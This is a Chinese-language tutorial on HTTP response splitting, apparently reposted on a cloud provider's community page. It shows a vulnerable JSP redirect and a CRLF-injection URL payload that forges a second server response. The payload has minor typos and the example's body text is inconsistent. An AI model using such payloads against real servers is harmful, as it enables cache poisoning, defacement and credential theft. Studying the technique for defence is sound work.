HTTP response splitting 攻擊

來源:互聯網
上載者:User

<->原理簡介  http回應標頭截斷是一種新的攻擊技術,由該技術衍生了許多攻擊的方法:web cache poisoning,cross user defacement,cross –site scripting等。攻擊者利用它 可以擷取使用者的敏感資訊甚至是包含使用者名稱和密碼的認證資訊。在許多環境下都存在該攻擊的可能,Microsoft ASP ,ASP NET, IBM WEBSPHERE,比較流行的的伺服器,apache ,squid,還有瀏覽器IE6.0 SP1.

               造成http回應標頭截斷漏洞的主要原因是對使用者提交的非法字元沒有進行嚴格的過濾,尤 其是CR,LF字元的輸入。攻擊者通過發送一經過精心構造的request,迫使伺服器認為其返回的資料是兩個響應,而不是常規的一個響應。當可以通過精心製作的request完全 控制第二個響應時,可以通過這樣來實現攻擊:發送兩個請求A,B。A請求包含構造資料,該請求致使伺服器返回兩個響應R1,R2,其中R2是可以通過在A中的精心構造而 完全控制的。伺服器將R1作為response返回給A,而第R2則被伺服器作為B的response而返回給了B﹙即使R2並不是伺服器自己產生的)。

                                 Request A------------->Web Server(R1,R2)
                                 Request B------------->Web Server (本該是R3)
                                 Web Server(R1)------------>A
                                 Web Server(R2)——————>B
                        
<二>基本技術  http回應標頭截斷攻擊重點在於可以在http頭中輸入資料,構造特殊字元形成截斷。最可能的是在Location欄位,還有在Set-Cookie欄位中。執行個體:頁面/redir_lang.jsp

                <% 
                Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>

                當提交english作為參數時,會轉到/by_lang.jsp?lang=english,常規的響應如下:
                HTTP/1.1 302 Moved Temporarily
                Date:Wed,24 Dec 2003 12:53:28 
                Location: http://10.1.1.1/by_lang.jsp?lang=english
                Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
                2003 271009 with
                Content-Type: text/html
                Set-Cookie:    JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-
                12510119693;path=/  Connection:Close

               ……………………….略
               從以上可以看到的是:輸入的參數已經提交到http頭中,這樣我們就可以構造特殊的字 符來截斷http頭,併到其後追加  一個自己構造的頭:
                  /redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

                 伺服器返回的數
                 HTTP/1.1 302 Moved Temporarily
                 Date:Wed,24 Dec 2003 15:26:41 GMT 
                 Location: http://10.1.1.1/by_lang.jsp?lang=foobar   
                 Content-Length:0

                 HTTP/1.1 200 OK
                 Content-Type: text/html
                 Content-length: 1
                 <html>Shazam</html>
                 Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
                 2003 271009 with
                 Content-Type: text/html
                 Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
                 Connection:Close

       說明: 1、第一個響應是302 response,2、第二個響應是自己構造的200 response, 3、(在 前序之外的資料都略掉了,其實原文是存在的,而且在實際中該段是要給與考慮的)
  這樣我們就可以發送兩個請求:

              1、/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-    Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

              2、/index.htm
              這樣伺服器對於第一個請求返回:
               HTTP/1.1 302 Moved Temporar
               Date:Wed,24 Dec 2003 15:26:41 GMT 
               Location: http://10.1.1.1/by_lang.jsp?lang=foobar   
               Content-Length:0
              對於第二個請求返回:
               HTTP/1.1 200 OK
               Content-Type: text/html
               Content-length: 19
             
               <html>Shamaz</html>
             這樣就達到了欺騙目標伺服器的目的

<三>實際問題  實際中要實現還要考慮很多的因素,關鍵之一就是如何“分辨”出兩個兩個回應標頭的,還有url輸入過長問題,怎樣避過對一些特殊字元的過濾而進行資料注入,怎樣迫使服 務器進行緩衝等,怎樣使兩個響應恰好返回給發送的兩個請求。(這些都是些很複雜且  必須考慮的)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.